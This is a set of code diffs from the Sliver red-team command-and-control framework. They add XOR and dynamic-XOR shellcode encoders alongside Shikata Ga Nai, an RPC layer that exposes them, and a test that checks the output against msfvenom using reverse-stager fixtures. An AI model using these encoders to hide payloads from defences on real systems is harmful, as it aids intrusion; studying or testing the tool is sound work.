t.Skipf("msfvenom not available: %v", err)
}
if !keystoneAvailable() {
t.Skip("keystone assembler not available")
}
fixtures, err := fs.Glob(xorFixtures, "testdata/*.bin")
if err != nil {
t.Fatalf("failed to list fixtures: %v", err)
}
if len(fixtures) == 0 {
t.Fatal("no xor fixtures found")
}
home := t.TempDir()
primeMSFVenom(t, home)
for _, name := range fixtures {
name := name
t.Run(filepath.Base(name), func(t *testing.T) {
payload, err := xorFixtures.ReadFile(name)
if err != nil {
t.Fatalf("failed to read fixture %s: %v", name, err)
}
if len(payload) == 0 {
t.Fatalf("fixture %s is empty", name)
}
platform, err := platformFromFixture(name)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
msfEncoded := msfvenomEncode(t, home, payload, platform, "x64/xor")
key, err := extractMSFKey(msfEncoded)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
encoded, err := Xor(payload, key)
if err != nil {
t.Fatalf("fixture %s: Xor failed: %v", name, err)
}
if !bytes.Equal(encoded, msfEncoded) {
diff := firstDiff(encoded, msfEncoded)
t.Fatalf("fixture %s: output mismatch at byte %d (got=%d, msf=%d)", name, diff, len(encoded), len(msfEncoded))
}
})
}
}
func keystoneAvailable() bool {
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
if err != nil {
return false
}
_ = engine.Close()
return true
}
func msfvenomEncode(t *testing.T, home string, payload []byte, platform string, encoder string) []byte {
t.Helper()
outFile, err := os.CreateTemp(home, "msf-xor-*.bin")
if err != nil {
t.Fatalf("msfvenom temp file: %v", err)
}
outPath := outFile.Name()
_ = outFile.Close()
defer func() { _ = os.Remove(outPath) }()
cmd := exec.Command("msfvenom",
"-p", "-",
"-a", "x64",
"--platform", platform,
"-e", encoder,
"-i", "1",
"-f", "raw",
"-o", outPath,
)
cmd.Env = append(os.Environ(), "HOME="+home)
cmd.Stdin = bytes.NewReader(payload)
var stderr bytes.Buffer
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
t.Fatalf("msfvenom failed: %v (stderr=%s)", err, strings.TrimSpace(stderr.String()))
}
encoded, err := os.ReadFile(outPath)
if err != nil {
t.Fatalf("msfvenom read output: %v", err)
}
if len(encoded) == 0 {
t.Fatalf("msfvenom produced empty output (stderr=%s)", strings.TrimSpace(stderr.String()))
}
return encoded
}
func primeMSFVenom(t *testing.T, home string) {
t.Helper()
cmd := exec.Command("msfvenom", "-l", "encoders")
cmd.Env = append(os.Environ(), "HOME="+home)
cmd.Stdin = bytes.NewReader(nil)
var stderr bytes.Buffer
var stdout bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Run(); err != nil {
t.Fatalf("msfvenom init failed: %v (stderr=%s)", err, strings.TrimSpace(stderr.String()))
}
}
func extractMSFKey(encoded []byte) ([]byte, error) {
keyOffset := bytes.Index(encoded, []byte{0x48, 0xBB})
if keyOffset == -1 || keyOffset+10 > len(encoded) {
return nil, fmt.Errorf("failed to locate xor key in msf output")
}
key := make([]byte, xorKeySize)
copy(key, encoded[keyOffset+2:keyOffset+10])
return key, nil
}
func platformFromFixture(name string) (string, error) {
base := filepath.Base(name)
switch {
case strings.HasPrefix(base, "linux-"):
return "linux", nil
case strings.HasPrefix(base, "windows-"):
return "windows", nil
default:
return "", fmt.Errorf("unknown platform for fixture %s", base)
}
}
func firstDiff(a, b []byte) int {
min := len(a)
if len(b) < min {
min = len(b)
}
for i := 0; i < min; i++ {
if a[i] != b[i] {
return i
}
}
return min
}
@@ -1,4 +1,4 @@
# server/sgn
# server/encoders/shellcode/sgn
## Overview
@@ -27,7 +27,7 @@ These options mirror the upstream CLI flags so server-side tasks can reuse the s
Shellcode fixtures used by the unit tests live under `testdata/` with a `.bin` extension. They are produced via `msfvenom` using a dedicated Go generator:
```bash
go generate ./server/sgn
go generate ./server/encoders/shellcode/sgn
```
The generator invokes `msfvenom` three times (reverse TCP/HTTP stagers and an exec payload) and writes raw shellcode into the `testdata` directory. Ensure the Metasploit framework is installed and `msfvenom` is on `$PATH` before running the generation step.
@@ -40,7 +40,7 @@ The log subsystem expects a writable Sliver root directory. Point it to a tempor
export SLIVER_ROOT_DIR=$(pwd)/.tmp-sliver
export GOCACHE=$(pwd)/.tmp-gocache
mkdir -p "$SLIVER_ROOT_DIR" "$GOCACHE"
go test ./server/sgn
go test ./server/encoders/shellcode/sgn
```
The test suite focuses on option wiring and constraint helpers rather than the full stochastic encoding pipeline.
File renamed without changes.
File renamed without changes.
@@ -37,8 +37,6 @@ var (
// SGNConfig - Configuration for sgn
type SGNConfig struct {
AppDir string
Architecture string // Binary architecture (32/64) (default 32)
Asci bool // Generates a full ASCI printable payload (takes very long time to bruteforce)
BadChars []byte // Don't use specified bad characters given in hex format (\x00\x01\x02...)
File renamed without changes.
+99
View File
@@ -0,0 +1,99 @@
package shellcode
import (
"github.com/bishopfox/sliver/server/encoders/shellcode/amd64"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
)
type ShellcodeEncoderArgs struct {
Iterations int
BadChars []byte
}
type ShellcodeEncoder interface {
Description() string
Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error)
}
type XorEncoder struct{}
func (e *XorEncoder) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
iterations := args.Iterations
if iterations <= 0 {
iterations = 1
}
for i := 0; i < iterations; i++ {
key, err := amd64.XorKeyGen()
if err != nil {
return nil, err
}
encoded, err := amd64.Xor(data, key)
if err != nil {
return nil, err
}
data = encoded
}
return data, nil
}
func (e *XorEncoder) Description() string {
return "Basic XOR encoder for AMD64"
}
type XorDynamicEncoder struct{}
func (e *XorDynamicEncoder) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
iterations := args.Iterations
if iterations <= 0 {
iterations = 1
}
for i := 0; i < iterations; i++ {
key, err := amd64.XorDynamicKeyGen()
if err != nil {
return nil, err
}
encoded, err := amd64.XorDynamic(data, key)
if err != nil {
return nil, err
}
data = encoded
}
return data, nil
}
func (e *XorDynamicEncoder) Description() string {
return "An x64 XOR encoder with dynamic key size for AMD64"
}
type ShikataGaNaiEncoderAmd64 struct{}
func (e *ShikataGaNaiEncoderAmd64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
return sgn.EncodeShellcode(data, "amd64", args.Iterations, args.BadChars)
}
func (e *ShikataGaNaiEncoderAmd64) Description() string {
return "Shikata Ga Nai encoder for AMD64"
}
type ShikataGaNaiEncoder386 struct{}
func (e *ShikataGaNaiEncoder386) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
return sgn.EncodeShellcode(data, "386", args.Iterations, args.BadChars)
}
func (e *ShikataGaNaiEncoder386) Description() string {
return "Shikata Ga Nai encoder for 386"
}
var (
ShellcodeEncoders = map[string]map[string]ShellcodeEncoder{
"amd64": {
"xor": &XorEncoder{},
"xor_dynamic": &XorDynamicEncoder{},
"shikata_ga_nai": &ShikataGaNaiEncoderAmd64{},
},
"386": {
"shikata_ga_nai": &ShikataGaNaiEncoder386{},
},
}
)
+1 -1
View File
@@ -28,7 +28,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/sgn"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
)
var (
+128 -18
View File
@@ -21,33 +21,84 @@ package rpc
import (
"context"
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/server/sgn"
"github.com/bishopfox/sliver/server/encoders/shellcode"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
var shellcodeEncoderNames = map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}
var shellcodeEncoderEnums = map[string]clientpb.ShellcodeEncoder{
"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
"xor": clientpb.ShellcodeEncoder_XOR,
"xor_dynamic": clientpb.ShellcodeEncoder_XOR_DYNAMIC,
}
// ShellcodeEncode - Encode a piece shellcode
func (rpc *Server) ShellcodeEncoder(ctx context.Context, req *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) {
resp := &clientpb.ShellcodeEncode{Response: &commonpb.Response{}}
var err error
switch req.Encoder {
case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
rpcLog.Infof("[rpc] Shellcode encoder request for: SHIKATA_GA_NAI")
rpcLog.Infof("[rpc] Encoding shellcode (%d bytes) for architecture %s with %d iterations and badchars: %v", len(req.Data), req.Architecture, req.Iterations, req.BadChars)
resp.Data, err = sgn.EncodeShellcode(req.Data, req.Architecture, int(req.Iterations), req.BadChars)
if err != nil {
rpcLog.Errorf("[rpc] Failed to encode shellcode: %v", err)
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
}
default:
resp.Response.Err = "Unknown encoder"
if req == nil {
return nil, status.Error(codes.InvalidArgument, "missing request")
}
if req.Encoder == clientpb.ShellcodeEncoder_NONE {
resp.Data = req.Data
return resp, nil
}
encoderName, ok := shellcodeEncoderNames[req.Encoder]
if !ok {
resp.Response.Err = "Unknown encoder"
return resp, nil
}
arch := normalizeShellcodeArch(req.Architecture)
if arch == "" {
arch = defaultShellcodeArch(encoderName)
}
if arch == "" {
resp.Response.Err = "Unknown architecture"
return resp, nil
}
encoderArchs := shellcode.ShellcodeEncoders[arch]
if encoderArchs == nil {
resp.Response.Err = fmt.Sprintf("Unknown architecture: %s", arch)
return resp, nil
}
encoder := encoderArchs[encoderName]
if encoder == nil {
resp.Response.Err = fmt.Sprintf("Encoder %s not supported for architecture %s", encoderName, arch)
return resp, nil
}
iterations := int(req.Iterations)
if iterations <= 0 {
iterations = 1
}
rpcLog.Infof("[rpc] Shellcode encoder request for: %s (%s)", encoderName, arch)
rpcLog.Infof("[rpc] Encoding shellcode (%d bytes) for architecture %s with %d iterations and badchars: %v", len(req.Data), arch, iterations, req.BadChars)
encoded, err := encoder.Encode(req.Data, shellcode.ShellcodeEncoderArgs{
Iterations: iterations,
BadChars: req.BadChars,
})
if err != nil {
rpcLog.Errorf("[rpc] Failed to encode shellcode: %v", err)
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
}
resp.Data = encoded
rpcLog.Infof("[rpc] Successfully encoded shellcode (%d bytes)", len(resp.Data))
return resp, nil
@@ -56,10 +107,69 @@ func (rpc *Server) ShellcodeEncoder(ctx context.Context, req *clientpb.Shellcode
// ShellcodeEncoderMap - Get a map of support shellcode encoders <human readable/enum>
func (rpc *Server) ShellcodeEncoderMap(ctx context.Context, _ *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) {
resp := &clientpb.ShellcodeEncoderMap{
Encoders: map[string]clientpb.ShellcodeEncoder{
// Human Readable: enum value
"shikata-ga-nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
},
Encoders: map[string]*clientpb.ShellcodeEncoderArchMap{},
}
arches := make([]string, 0, len(shellcode.ShellcodeEncoders))
for arch := range shellcode.ShellcodeEncoders {
arches = append(arches, arch)
}
sort.Strings(arches)
for _, arch := range arches {
encoderMap := shellcode.ShellcodeEncoders[arch]
if encoderMap == nil {
continue
}
resp.Encoders[arch] = &clientpb.ShellcodeEncoderArchMap{
Encoders: map[string]clientpb.ShellcodeEncoder{},
Descriptions: map[string]string{},
}
names := make([]string, 0, len(encoderMap))
for name := range encoderMap {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
if enumVal, ok := shellcodeEncoderEnums[name]; ok {
resp.Encoders[arch].Encoders[name] = enumVal
}
resp.Encoders[arch].Descriptions[name] = encoderMap[name].Description()
}
}
return resp, nil
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
default:
return normalized
}
}
func defaultShellcodeArch(encoderName string) string {
var candidates []string
for arch, encoderMap := range shellcode.ShellcodeEncoders {
if _, ok := encoderMap[encoderName]; ok {
candidates = append(candidates, arch)
}
}
if len(candidates) == 1 {
return candidates[0]
}
for _, arch := range candidates {
if arch == "amd64" {
return arch
}
}
if len(candidates) > 0 {
sort.Strings(candidates)
return candidates[0]
}
return ""
}
+1 -1
View File
@@ -38,7 +38,7 @@ import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/sgn"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
"github.com/bishopfox/sliver/util"
"google.golang.org/grpc/codes"